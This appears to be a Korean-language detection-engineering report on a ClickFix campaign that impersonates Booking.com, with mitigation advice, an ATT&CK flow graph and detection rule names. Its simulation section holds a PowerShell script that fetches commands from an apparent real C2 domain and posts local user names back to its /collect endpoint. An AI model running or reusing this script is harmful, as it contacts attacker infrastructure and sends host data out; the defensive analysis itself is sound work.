ClickFix 전체 공격 체인 분석 (파트 1)
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
리포트는 사용자가 PowerShell 명령을 복사하고 실행하도록 설득하기 위해 Booking.com을 가장하는 악성 웹사이트와 관련된 ClickFix 캠페인을 설명합니다. 명령이 실행되면 파일 없는 PowerShell 스크립트가 시작되어 2단계 ZIP 아카이브를 다운로드합니다. 드로퍼는 호스트 정보를 수집하고, 페이로드를 임시 디렉터리에 쓰며, Run 레지스트리 키와 예약된 작업을 통해 영구성을 만듭니다. 전체 감염 체인은 명백한 취약점을 이용하기보다는 설득력 있는 웹 콘텐츠와 사용자 주도의 실행에 의존합니다.
조사
Stormshield 분석가는 명령 및 제어 도메인에서 PowerShell 명령을 가져와 사용자의 클립보드에 배치하는 JavaScript를 캡처했습니다. 그들은 또 PowerShell 드로퍼를 분석했으며, 이는 WMI 쿼리와 환경 변수를 통해 상세한 시스템 정보를 수집한 후 GET 요청을 통해 데이터를 유출했습니다. 동일한 드로퍼는 다른 도메인에서 ZIP 아카이브를 다운로드하고 그 내용을 추출한 후 감염된 호스트에 영속성을 구성했습니다. 연구자들은 관찰된 행동과 기술을 MITRE ATT&CK 식별자와 대응시켰습니다.
완화
조직은 ClickFix 캠페인과 관련된 악성 도메인과 URL을 차단하고, 피싱 스타일의 랜딩 페이지에 대한 노출을 줄이기 위해 엄격한 웹 필터링을 적용해야 합니다. 수비수는 다음과 같은 플래그로 PowerShell 실행을 모니터링해야 합니다. -ExecutionPolicy Bypass 및 숨김 창 설정을 모니터링 하는 한편, 응용 프로그램 제어를 통해 서명되지 않은 PowerShell 스크립트의 실행을 제한해야 합니다. 추가 탐지는 의심스러운 Run 레지스트리 키와 낯선 이름의 예약된 작업 생성에 집중해야 합니다.
대응
보안팀은 식별된 명령 및 제어 도메인에 대한 아웃바운드 트래픽과 다음과 같은 PowerShell 명령줄에 대한 경고를 제공해야 합니다 Invoke-Expression 을 사용하여 원격으로 가져온 콘텐츠를 실행합니다. 탐지 로직은 또한 캠페인과 관련된 특정 Run 레지스트리 값 및 예약된 작업 이름의 생성을 포함해야 합니다. 활동이 확인되면 즉시 엔드포인트를 격리하고, 휘발성 증거를 수집하며, 임시 파일과 다운로드된 ZIP 페이로드에 대한 포렌식 검토를 수행합니다.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>행동</b> – 초기 접근: 악성 복사-붙여넣기 웹페이지"] tech_user_exec["<b>기술</b> – T1204.004 사용자 실행: 악성 복사 및 붙여넣기"] process_ps["<b>프로세스</b> – 클립보드에 복사된 PowerShell 명령"] tech_ps["<b>기술</b> – T1059.001 PowerShell"] tech_process_inject["<b>기술</b> – T1055.011 프로세스 인젝션"] action_discovery["<b>행동</b> – 시스템 탐색"] tech_account_discovery["<b>기술</b> – T1087 계정 탐색"] tech_security_sw["<b>기술</b> – T1518.001 보안 소프트웨어 탐색"] tech_time_discovery["<b>기술</b> – T1124 시스템 시간 탐색"] action_c2["<b>행동</b> – 명령 및 제어"] tech_http_c2["<b>기술</b> – T1071.001 웹 프로토콜 (HTTP)"] action_download["<b>행동</b> – 페이로드 다운로드"] tech_ingress["<b>기술</b> – T1105 도구 전송 유입"] action_deploy["<b>행동</b> – 페이로드 배포 (ZIP 추출)"] action_persistence["<b>행동</b> – 영속성 구축"] tech_registry_run["<b>기술</b> – T1547.001 레지스트리 실행 키 / 시작 폴더"] tech_scheduled_task["<b>기술</b> – T1053.005 예약된 작업/작업: 로그인 시"] action_final["<b>행동</b> – 페이로드의 최종 실행"] process_payload["<b>프로세스</b> – 추출된 실행 파일 또는 배치 파일"] %% Connections action_initial –>|triggers| tech_user_exec tech_user_exec –>|leads to| process_ps process_ps –>|executes| tech_ps tech_ps –>|may perform| tech_process_inject tech_process_inject –>|enables| action_discovery action_discovery –>|uses| tech_account_discovery action_discovery –>|uses| tech_security_sw action_discovery –>|uses| tech_time_discovery action_discovery –>|sends data to| action_c2 action_c2 –>|uses| tech_http_c2 action_c2 –>|triggers| action_download action_download –>|uses| tech_ingress action_download –>|stores file in| action_deploy action_deploy –>|creates| action_persistence action_persistence –>|uses| tech_registry_run action_persistence –>|fallback| tech_scheduled_task action_persistence –>|enables| action_final action_final –>|launches| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "
공격 흐름
탐지
가능한 영속성 포인트 [ASEPs – 소프트웨어/NTUSER Hive] (레지스트리 이벤트를 통해)
보기
PowerShell을 통한 다운로드 또는 업로드 (cmdline을 통해)
보기
PowerShell을 통해 의심스러운 .NET 메서드 호출 (PowerShell을 통해)
보기
Schtasks가 의심스러운 디렉토리 / 바이너리 / 스크립트로 지정됨 (cmdline을 통해)
보기
Wmi PowerShell 모듈을 사용하여 시스템 정보 검색 가능성 (PowerShell을 통해)
보기
ClickFix 기술을 사용한 악성 PowerShell 실행 탐지 [Windows PowerShell]
보기
ClickFix 피싱 명령 검색 및 원격측정 탐지 [웹서버]
보기
시뮬레이션 실행
전제 조건: 원격측정 및 기준 비행 전 점검이 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대적 기술의 정확한 실행을 상세히 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영해야 하고, 탐지 로직에 의해 기대되는 정확한 원격측정을 생성하는 것을 목표로 합니다.
-
공격 내러티브 및 명령:
침해된 내부 워크스테이션에서 머무르게 된 공격자는 ClickFix C2 URL과의 연결을 위해 PowerShell 원라이너를 발행합니다?get_command=1파라미터와 함께 HTTP POST를 통해 서버는 로컬 사용자 계정을 열거(T1087)하고, 시스템 시간을 확인(T1124)하며 설치된 보안 제품을 검색(T1518.001) 한 후 출력을 클립보드에 복사하는 PowerShell 페이로드를 반환합니다. 클립보드 콘텐츠는 T1204.004 및 T1547.001을 충족하면서 ClickFix 서버로 다시 게시되어 유출됩니다. 이 정확한 트래픽 패턴은 Sigma 규칙의request_uri|contains: "?get_command=1"andhttp_method: POST조건에 일치합니다. -
회귀 테스트 스크립트:
# ClickFix 명령 가져오기 시뮬레이션 - Sigma 규칙을 트리거합니다 $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1" $payload = @{ dummy = "data" } # 악성 POST 요청 전송 $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json" # 가져온 PowerShell 명령 실행 시뮬레이션 (간소화됨) $psCommand = $response.Content Write-Output "Fetched command: $psCommand" # 데모를 위해 무해한 하위 집합 실행 (예: 로컬 사용자 가져오기) 및 클립보드에 복사 $users = Get-LocalUser | Select-Object -ExpandProperty Name $usersString = $users -join "`n" Set-Clipboard -Value $usersString # 클립보드 내용 다시 ClickFix 서버에 유출 (시뮬레이션) $exfilUrl = "https://accountpulsecentre.help/collect" Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded" -
정리 명령:
# 테스트 중 생성된 임시 파일 또는 아티팩트 제거 Clear-Clipboard Write-Output "정리 완료 – 클립보드가 지워졌습니다."